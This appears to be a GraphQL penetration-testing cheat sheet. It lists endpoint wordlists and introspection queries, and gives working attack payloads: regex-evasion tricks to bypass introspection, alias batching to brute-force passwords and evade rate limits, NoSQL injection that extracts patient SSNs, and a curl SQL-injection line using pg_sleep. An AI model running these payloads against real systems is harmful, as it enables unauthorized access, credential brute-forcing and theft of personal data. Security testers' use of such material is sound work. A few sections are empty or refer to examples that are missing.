17 KiB
GraphQL
GraphQL acts as an alternative to REST API. Rest APIs require the client to send multiple requests to different endpoints on the API to query data from the backend database. With graphQL you only need to send one request to query the backend.
Fingerprint
The tool graphw00f is capable to detect wich GraphQL engine is used in a server and then prints some helpful information for the security auditor.
Enumeration
Universal queries
If you send query{__typename}
to any GraphQL endpoint, it will include the string {"data": {"__typename": "query"}}
somewhere in its response. This is known as a universal query, and is a useful tool in probing whether a URL corresponds to a GraphQL service.
The query works because every GraphQL endpoint has a reserved field called __typename
that returns the queried object's type as a string.
Common GraphQL endpoints
Most of the time the graphql is located on the /graphql
or /graphiql
endpoint.
altair
explorer
graphiql
graphiql.css
graphiql/finland
graphiql.js
graphiql.min.css
graphiql.min.js
graphiql.php
graphql
graphql/console
graphql-explorer
graphql.php
graphql/schema.json
graphql/schema.xml
graphql/schema.yaml
playground
subscriptions
api/graphql
graph
v1/altair
v1/explorer
v1/graphiql
v1/graphiql.css
v1/graphiql/finland
v1/graphiql.js
v1/graphiql.min.css
v1/graphiql.min.js
v1/graphiql.php
v1/graphql
v1/graphql/console
v1/graphql-explorer
v1/graphql.php
v1/graphql/schema.json
v1/graphql/schema.xml
v1/graphql/schema.yaml
v1/playground
v1/subscriptions
v1/api/graphql
v1/graph
v2/altair
v2/explorer
v2/graphiql
v2/graphiql.css
v2/graphiql/finland
v2/graphiql.js
v2/graphiql.min.css
v2/graphiql.min.js
v2/graphiql.php
v2/graphql
v2/graphql/console
v2/graphql-explorer
v2/graphql.php
v2/graphql/schema.json
v2/graphql/schema.xml
v2/graphql/schema.yaml
v2/playground
v2/subscriptions
v2/api/graphql
v2/graph
v3/altair
v3/explorer
v3/graphiql
v3/graphiql.css
v3/graphiql/finland
v3/graphiql.js
v3/graphiql.min.css
v3/graphiql.min.js
v3/graphiql.php
v3/graphql
v3/graphql/console
v3/graphql-explorer
v3/graphql.php
v3/graphql/schema.json
v3/graphql/schema.xml
v3/graphql/schema.yaml
v3/playground
v3/subscriptions
v3/api/graphql
v3/graph
v4/altair
v4/explorer
v4/graphiql
v4/graphiql.css
v4/graphiql/finland
v4/graphiql.js
v4/graphiql.min.css
v4/graphiql.min.js
v4/graphiql.php
v4/graphql
v4/graphql/console
v4/graphql-explorer
v4/graphql.php
v4/graphql/schema.json
v4/graphql/schema.xml
v4/graphql/schema.yaml
v4/playground
v4/subscriptions
v4/api/graphql
v4/graph
Note
GraphQL services will often respond to any non-GraphQL request with a "query not present" or similar error. You should bear this in mind when testing for GraphQL endpoints.
Basic Enumeration
Graphql usually supports GET
, POST
(x-www-form-urlencoded
) and POST
(json). Although for security it's recommended to only allow json to prevent CSRF attacks.
Introspection
To use introspection to discover schema information, query the __schema
field. This field is available on the root type of all queries.
query={__schema{types{name,fields{name}}}}
With this query you will find the name of all the types being used:
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
With this query you can extract all the types, it's fields, and it's arguments (and the type of the args). This will be very useful to know how to query the database.
Errors
It's interesting to know if the errors are going to be shown as they will contribute with useful information.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
Enumerate Database Schema via Introspection
If introspection is enabled but the above query doesn't run, try removing the onOperation, onFragment, and onField directives from the query structure.
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Inline introspection query:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
The last code line is a graphql query that will dump all the meta-information from the graphql (objects names, parameters, types...)
Searching
You can search persons by the name and get their emails:
{
searchPerson(name: "John Doe") {
email
}
}
You can search persons by the name and get their subscribed films:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutations
Mutations are used to make changes in the server-side.
A mutation to create new movies inside the database can be like the following one (in this example the mutation is called addMovie):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
Enumerate Database Schema via Suggestions
When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.
{
"message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",
}
You can also try to bruteforce known keywords, field and type names using wordlists such as Escape-Technologies/graphql-wordlist when the schema of a GraphQL API is not accessible.
Enumerate the types' definition
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
Bypassing GraphQL introspection defences
If you cannot get introspection queries to run for the API you are testing, try inserting a special character after the __schema
keyword.
When developers disable introspection, they could use a regex to exclude the __schema
keyword in queries. You should try characters like spaces, new lines and commas, as they are ignored by GraphQL but not by flawed regex.
As such, if the developer has only excluded __schema{
, then the below introspection query would not be excluded.
#Introspection query with newline
{
"query": "query{__schema
{queryType{name}}}"
}
If this doesn't work, try running the probe over an alternative request method, as introspection may only be disabled over POST
. Try a GET
request, or a POST
request with a content-type of x-www-form-urlencoded
.
The example below shows an introspection probe sent via GET, with URL-encoded parameters.
# Introspection probe as GET request
GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D
Note If an endpoint will only accept introspection queries over GET and you want to analyze the results of the query using InQL Scanner, you first need to save the query results to a file. You can then load this file into InQL, where it will be parsed as normal.
Bypassing rate limiting using aliases
Ordinarily, GraphQL objects can't contain multiple properties with the same name. Aliases enable you to bypass this restriction by explicitly naming the properties you want the API to return. You can use aliases to return multiple instances of the same type of object in one request.
Many endpoints will have some sort of rate limiter in place to prevent brute force attacks. Some rate limiters work based on the number of HTTP requests received rather than the number of operations performed on the endpoint. Because aliases effectively enable you to send multiple queries in a single HTTP message, they can bypass this restriction.
The simplified example below shows a series of aliased queries checking whether store discount codes are valid. This operation could potentially bypass rate limiting as it is a single HTTP request, even though it could potentially be used to check a vast number of discount codes at once.
#Request with aliased queries
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
GraphQL CSRF
GraphQL can be used as a vector for CSRF attacks, whereby an attacker creates an exploit that causes a victim's browser to send a malicious query as the victim user.
How do CSRF over GraphQL vulnerabilities arise?
CSRF vulnerabilities can arise where a GraphQL endpoint does not validate the content type of the requests sent to it and no CSRF tokens are implemented.
POST requests that use a content type of application/json
are secure against forgery as long as the content type is validated. In this case, an attacker wouldn't be able to make the victim's browser send this request even if the victim were to visit a malicious site.
However, alternative methods such as GET
, or any request that has a content type of x-www-form-urlencoded
, can be sent by a browser and so may leave users vulnerable to attack if the endpoint accepts these requests. Where this is the case, attackers may be able to craft exploits to send malicious requests to the API.
Authorization in GraphQL
Many GraphQL functions defined on the endpoint might only check the authentication of the requester but not authorization.
Mutation could even lead to account takeover trying to modify other account data.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
Bypass authorization in GraphQL
In the below example you can see that the operation is "forgotPassword" and that it should only execute the forgotPassword query associated with it. This can be bypassed by adding a query to the end, in this case we add "register" and a user variable for the system to register as a new user.
Exploit
Extract data
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
Use mutations
Mutations work like function, you can use them to interact with the GraphQL.
# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
GraphQL Batching Attacks
Common scenario:
- Password Brute-force Amplification Scenario
- Rate Limit bypass
- 2FA bypassing
Query name based batching
{
"query": "query { qname: Query { field1 } qname1: Query { field1 } }"
}
Send the same mutation several times using aliases
mutation {
login(pass: 1111, username: "bob")
second: login(pass: 2222, username: "bob")
third: login(pass: 3333, username: "bob")
fourth: login(pass: 4444, username: "bob")
}
Injections
SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.
Use $regex
, $ne
from inside a search
parameter.
NOSQL injection
{
doctors(
options: "{\"limit\": 1, \"patients.ssn\" :1}",
search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
{
firstName lastName id patients{ssn}
}
}
SQL injection
Send a single quote ' inside a graphql parameter to trigger the SQL injection
{
bacon(id: "1'") {
id,
type,
price
}
}
Simple SQL injection inside a graphql field.
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
Tools
- GraphQL Voyager - Schema/object exploration
Vulnerability
- https://github.com/gsmith257-cyber/GraphCrawler: Toolkit that can be used to grab schemas and search for sensitive data, test authorization, brute force schemas, and find paths to a given type.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Can be used as standalone or Burp extension.
- https://github.com/swisskyrepo/GraphQLmap: Can be used as a CLI client also to automate attacks.
- https://gitlab.com/dee-see/graphql-path-enum: Tool that lists the different ways of reaching a given type in a GraphQL schema.
- https://github.com/doyensec/inql: Burp extension for advanced GraphQL testing. The Scanner is the core of InQL v5.0, where you can analyze a GraphQL endpoint or a local introspection schema file. It auto-generates all possible queries and mutations, organizing them into a structured view for your analysis. The Attacker component lets you run batch GraphQL attacks, which can be useful for circumventing poorly implemented rate limits.
Automatic Tests
Clients
- https://github.com/graphql/graphiql: GUI client
- https://altair.sirmuel.design/: GUI Client